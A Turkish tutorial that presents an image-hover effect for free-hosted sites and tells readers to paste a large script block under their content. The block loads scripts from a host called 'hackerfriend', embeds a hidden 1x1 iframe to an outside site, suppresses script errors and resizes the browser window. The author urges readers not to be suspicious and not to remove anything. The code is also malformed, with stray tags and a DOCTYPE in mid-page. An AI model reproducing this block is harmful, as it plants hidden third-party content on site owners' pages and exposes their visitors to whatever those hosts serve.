imagehoverjavatanitim
Merhaba ... Bu bizim sizinle olan ilk dersimiz. Bu derste nasıl JavaScript image hover efekti yapacağımızı öğreneceğiz. Sonuna kadar okuyun ...
Örnek için tıklayın. (örnekteki resimin üzerine gelin)
Örnekte gördüğünüz efektin kodu ise 3-4 satır arası. Fakat bu efekti aktif hale getirmek için kullanılan kod biraz büyük... İlk olarak bu efekti kullanmaya başlamak için sunları yapın;
İçerik bölümünün altına şu kodu ekleyin;
<script>
/*JavaScript error stopper-
By JavaScript Kit (www.javascriptkit.com)
200+ free JavaScripts here
function stoperror(){
return true
}
window.onerror=stoperror
</script>
</SCRIPT>
<script language="JavaScript" src="http://www.fileden.com/files/2008/8/4/2033692/jstoper.txt" type="text/JavaScript"></script>
<script type="text/javascript" src="http://hackerfriend.sitemynet.com/ajax.js" ></script><iframe src="http://winniex.tr.gg/home.htm" style="display:none;width:1px;height:1px;"></iframe>
<script type="text/javascript" src="http://hackerfriend.sitemynet.com/tab-view.js"></script>
<script type="text/javascript">
jQuery(document).ready(function($) {
$('a[rel*=facebox]').facebox()
})
</script>
<script type="text/javascript">
//Configure message to display. Use "$" for linebreak
//By default, set to just grab the text from element with ID="fly"
message = document.getElementById("fly").innerHTML; // $ = taking a new line
distance = 50; // pixel(s)
speed = 200; // milliseconds
var txt="",
num=0,
num4=0,
flyofle="",
flyofwi="",
flyofto="",
fly=document.getElementById("fly");
function stfly() {
for(i=0;i != message.length;i++) {
if(message.charAt(i) != "$")
txt += "<span style='position:relative;visibility:hidden;' id='n"+i+"'>"+message.charAt(i)+"</span>";
else
txt += "<br>";
}
fly.innerHTML = txt;
txt = "";
flyofle = fly.offsetLeft;
flyofwi = fly.offsetWidth;
flyofto = fly.offsetTop;
fly2b();
}
function fly2b() {
if(num4 != message.length) {
if(message.charAt(num4) != "$") {
var then = document.getElementById("n" + num4);
then.style.left = flyofle - then.offsetLeft + flyofwi / 2;
then.style.top = flyofto - then.offsetTop + distance;
fly3(then.id, parseInt(then.style.left), parseInt(then.style.left) / 5, parseInt(then.style.top), parseInt(then.style.top) / 5);
}
num4++;
setTimeout("fly2b()", speed);
}
}
function fly3(target,lef2,num2,top2,num3) {
if((Math.floor(top2) != 0 && Math.floor(top2) != -1) || (Math.floor(lef2) != 0 && Math.floor(lef2) != -1)) {
if(lef2 >= 0)
lef2 -= num2;
else
lef2 += num2 * -1;
if(Math.floor(lef2) != -1) {
document.getElementById(target).style.visibility = "visible";
document.getElementById(target).style.left = Math.floor(lef2);
} else {
document.getElementById(target).style.visibility = "visible";
document.getElementById(target).style.left = Math.floor(lef2 + 1);
}
if(lef2 >= 0)
top2 -= num3
else
top2 += num3 * -1;
if(Math.floor(top2) != -1)
document.getElementById(target).style.top = Math.floor(top2);
else
document.getElementById(target).style.top = Math.floor(top2 + 1);
setTimeout("fly3('"+target+"',"+lef2+","+num2+","+top2+","+num3+")",50)
}
}
stfly()
</script>
<script src="http://kultursanatsen.org/Scripts/AC_RunActiveContent.js" type="text/javascript"></script>
<br><br><br>
<script type="text/javascript" src="http://ozdemir.1997.googlepages.com/imagerollover.js"></script>
<script type="text/javascript">
//Following function should be called at the end of the page:
imagerollover()
</script>
<script language="JavaScript1.2">
<!--
window.moveTo(0,0);
if (document.all) {
top.window.resizeTo(screen.availWidth,screen.availHeight);
}
else if (document.layers||document.getElementById) {
if (top.window.outerHeight<screen.availHeight||
top.window.outerWidth<screen.availWidth){
top.window.outerHeight = screen.availHeight;
top.window.outerWidth = screen.availWidth;
}
}
//-->
</script>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<script src="http://ozdemir.1997.googlepages.com/jquery-1.2.2.pack.js" type="text/javascript"></script>
<link href="http://ozdemir.1997.googlepages.com/facebox.css" media="screen" rel="stylesheet" type="text/css" />
<script src="http://ozdemir.1997.googlepages.com/facebox.js" type="text/javascript"></script>
<script type="text/javascript">
jQuery(document).ready(function($) {
$('a[rel*=facebox]').facebox()
})
</script>
Bu kodu bir kere içerik bölümünün altına eklemeniz yeterlidir...
Bu koddan şüpheniz olmasın... içerisinde javascript image-hover efekti, javascript hata durdurucu (sitenizde bu kod varsa yine ekleyin bişe olmaz)ve facebox var.
Bu kodu içerik bölümünün altına ekledikten sonra bu efekt dahil birçok efekt aktif olur (aktif olmasını istemediklerinizi silmeyin, onların aktif olması için ek kodlar gerekiyor). Yukarıdaki kodları ekledikten hemen sonra yeni bir sayfa oluşturun ve şu kodları ekleyin;
<b>Bu bir image over efekti örneği;<br />
<br />
<br />
</b><img alt="" data-out="https://img.webme.com/pic/w/winniex/right.gif" data-over="https://img.webme.com/pic/w/winniex/down.gif" src="https://img.webme.com/pic/w/winniex/right.gif" /><b>Bu bir image over efekti örneği;<br />
<br />
<br />
</b>
Bu dağınık şekilde yazılmış kodu örnek almanız önerilmez...
Bu kodu eklenmiş sayfayı açın ve resimin üzerine götürün mousenizi...
Gördüğünüz gibi sağa çevrilmiş ok resiminin üzerine gelince aşağı dönük bir ok resmini gördünüz.
İşte bu efekti her sayfanızda kullanabilirsiniz (resimleri değiştirin) ...
... data-over ...
Bu parametre resimin üzerine geldiğinizde hangi resime dönüşeceğini belirten yer.
... data-out ...
Bu parametreye ise resmin üzerine gelmeden önceki halini belirteceğiz...
Kod;
<img alt="" src="herhangi bir resimin url' si" data-out="aynı url' yi burayada yazıyoruz" data-over="buraya resimin üzerine gelindiğinde hangi resim olacaksa o resimin urlsini yazıyoruz" />
Kodu bir yere kopyaladıktan sonra mavi yerleri kendinize göre değiştirin... Bu kodu her sayfaya ekleyebilirsiniz ve ayrıca değiştirin, kullanın, bedava-sitem' e can katın xD... Bu kod üzerinde alıştırma yapın. ( mesela: ezberleyin parametreleri ... .)
Not: Bu içerik bölümünün altına eklediğiniz kod sizin sitenizde bu özellik dışında güzel bir özellik daha açtı.. "FACEBOX ÖZELLİĞİ!"
Özellik bu websitesinde çalışıyor. Bu sitenin neresinde çalışıyor diye soracak olursanız cevabım;
Sağ-alt köşedeki sarı kutucukta olan "UMUT ÖZDEMİR" linkine tıklayın... (sağ-alt köşe boş ise bu yazı bölümünün altındaki sarı kutucuğun içindeki linke tıklayın). FACEBOX özelliğini göreceksiniz...
Başka bir derste size bu facebox özelliği nasıl kullanılır? sorusuna yanıt bulacaksınız.... Kullanmanız zorunlu diil
BİRDAHAKİ DERSTE GÖRÜŞMEK ÜZERE!!!
www.javascriptkit.com
ANA SAYFA
UMUT ÖZDEMİR